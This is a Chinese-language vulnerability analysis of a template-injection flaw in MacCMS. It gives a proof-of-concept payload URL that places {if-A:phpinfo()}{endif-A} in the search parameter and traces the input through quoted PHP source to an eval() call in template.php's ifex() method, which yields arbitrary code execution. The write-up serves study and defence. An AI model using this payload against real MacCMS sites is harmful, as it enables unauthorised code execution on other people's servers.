0x01 前言

emmmm,前言个锤子,干就完事了

0x02 过程

payload:http://192.168.0.110/index.php?m=vod-search&wd={if-A:phpinfo()}{endif-A}%7D%7Bendif-A%7D)

漏洞发现在 maccms/inc/common/template.php 文件类方法ifex()中的eval语句,这个方法中有有多个eval执行语句,我们选择的最容易利用的一个eval,即在 913行出

  1. <?php
  2. else{
  3. @eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
  4. if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen,$this->H);} else { $this->H=str_replace($iar[0][$m],"",$this->H); }
  5. }

上面的代码中$strif变量是我们可以控制的,命令执行也发现在这里。我们来看看PayLoad的执行流程

在index.php文件。文章开头包含了 inc/conn.php ,而 inc/conn.php 文件又包含了inc/common/template.php文件,该文件会新建一个模板对象

<?php
class AppTpl
{
    var $markname,$markpar,$markdes,$markval,$markhtml;
    function AppTpl()
    {
        $this->P = array("vodtypeid"=>-1,"vodtypepid"=>-1,"vodtopicid"=>-1,"arttypeid"=>-1,"arttypepid"=>-1,"arttopicid"=>-1,"auto"=>false,"pg"=>1);
    }
  // 省略号
  $tpl = new AppTpl();

继续看index.php,$m = be(‘get’,’m’); be函数在 /inc/common/function.php 中定义,该函数的功能是调用 addslashes 对参数进行过滤处理

<?php 
// 手打省略号
if(!file_exists('inc/install.lock')) { echo '<script>location.href=\'install.php\';</script>';exit; }
    define('MAC_MODULE','home');
    require("inc/conn.php");
    require(MAC_ROOT.'/inc/common/360_safe3.php');
    $m = be('get','m');
    if(strpos($m,'.')){ $m = substr($m,0,strpos($m,'.')); }
    $par = explode('-',$m);
    $parlen = count($par);
    $ac = $par[0];

接下来会对参数m进行分割处理,例如我们Payload中的m=vod-search,会将该值分割成 vod,search。vod的作用是引用/inc/module/vod.php

<?php
    if(!file_exists('inc/install.lock')) { echo '<script>location.href=\'install.php\';</script>';exit; }
    define('MAC_MODULE','home');
    require("inc/conn.php");
    require(MAC_ROOT.'/inc/common/360_safe3.php');
    $m = be('get','m');
    if(strpos($m,'.')){ $m = substr($m,0,strpos($m,'.')); }
    $par = explode('-',$m);
    $parlen = count($par);
    $ac = $par[0];

    if(empty($ac)){ $ac='vod'; $method='index'; }

    $colnum = array("id","pg","year","typeid","class","classid");
    if($parlen>=2){
        $method = $par[1];
         for($i=2;$i<$parlen;$i+=2){
            $tpl->P[$par[$i]] = in_array($par[$i],$colnum) ? intval($par[$i+1]) : urldecode($par[$i+1]);
        }
    }
    if($tpl->P['pg']<1){ $tpl->P['pg']=1; }
    if(!empty($tpl->P['cp'])){ $tpl->P['cp']=''; }

    unset($colnum);
    $acs = array('vod','art','map','user','gbook','comment','label');

    if(in_array($ac,$acs)){
        $tpl->P["module"] = $ac;
        include MAC_ROOT.'/inc/module/'.$ac.'.php';
    }
    else{
        showErr('System','未找到指定系统模块');
    }
    unset($par);
    unset($acs);
    $tpl->ifex();
    if(!empty($tpl->P['cp'])){ setPageCache($tpl->P['cp'],$tpl->P['cn'],$tpl->H); }
    $tpl->run();
    echo $tpl->H;
?>

我们来看vod.php 文件中$method=search处的代码.
根据Payload,$tpl->P[“wd”]的值为 {if-A:phpinfo()}{endif-A},而且$tpl->H 的内容为vod_search.html中的内容,并且对内容做了替换。

<?php 
elseif($method=='search')
{
    $tpl->P["siteaid"] = 15;
    $wd = be("all", "wd");
    if(!empty($wd)){ $tpl->P["wd"] = $wd; }

    //if(isN($tpl->P["wd"]) && isN($tpl->P["ids"]) && isN($tpl->P["pinyin"]) && isN($tpl->P["starring"]) && isN($tpl->P["directed"]) && isN($tpl->P["area"]) && isN($tpl->P["lang"]) && isN($tpl->P["year"]) && isN($tpl->P["letter"]) && isN($tpl->P["tag"]) && isN($tpl->P["type"]) && isN($tpl->P["typeid"]) && isN($tpl->P["classid"]) ){ alert ("搜索参数不正确"); }

    if ( $tpl->P['pg']==1 && getTimeSpan("last_searchtime") < $MAC['app']['searchtime']){ 
        showMsg("请不要频繁操作,时间间隔为".$MAC['app']['searchtime']."秒",MAC_PATH);
        exit;
    }
  // 省略号
  $tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");
    $tpl->mark();
    $tpl->pageshow();

    $colarr = array('{page:des}','{page:key}','{page:now}','{page:order}','{page:by}','{page:wd}','{page:wdencode}','{page:pinyin}','{page:letter}','{page:year}','{page:starring}','{page:starringencode}','{page:directed}','{page:directedencode}','{page:area}','{page:areaencode}','{page:lang}','{page:langencode}','{page:typeid}','{page:typepid}','{page:classid}');
    $valarr = array($tpl->P["des"],$tpl->P["key"],$tpl->P["pg"],$tpl->P["order"],$tpl->P["by"],$tpl->P["wd"],urlencode($tpl->P["wd"]),$tpl->P["pinyin"],$tpl->P["letter"],$tpl->P['year']==0?'':$tpl->P['year'],$tpl->P["starring"],urlencode($tpl->P["starring"]),$tpl->P["directed"],urlencode($tpl->P["directed"]),$tpl->P["area"],urlencode($tpl->P["area"]),$tpl->P["lang"],urlencode($tpl->P["lang"]),$tpl->P['typeid'],$tpl->P['typepid'] ,$tpl->P['classid']  );

    $tpl->H = str_replace($colarr, $valarr ,$tpl->H);
    unset($colarr,$valarr);

继续看index.php文件,该文件会调用到ifex()方法,也就是漏洞发生的地方。$this->H的在vod.php文件中已经定义,$labelRule等于/{if-([\s\S]?):([\s\S]+?)}([\s\S]?){endif-\1}/is。然后在$this->H中用这个pattern匹配,结果是一个二维数组,存储在$iar中。而payload中的phpinfo()将存储在$iar[2]中

<?php 
function ifex()
{
    if (!strpos(",".$this->H,"{if-")) { return; }
    $labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
    preg_match_all($labelRule,$this->H,$iar);
    $arlen=count($iar[2]);

    for($m=0;$m<$arlen;$m++){
    $strn = $iar[1][$m];
    $strif= asp2phpif( $iar[2][$m] ) ;
    $strThen= $iar[3][$m];
    $elseifFlag=false;

    $labelRule2="{elseif-".$strn."";
    $labelRule3="{else-".$strn."}";

    if (strpos(",".$strThen,$labelRule2)>0){
        ......
    }
    else{
        $ifFlag = false;
        if (strpos(",".$strThen,$labelRule3)>0){
            ......
        }
        else{
            @eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
            .....
}

0x03 总结

这个漏洞,只要存在能控制输出的内容并且将输出内容设置为 {if-A:phpinfo()}{endif-A} 就能执行任意代码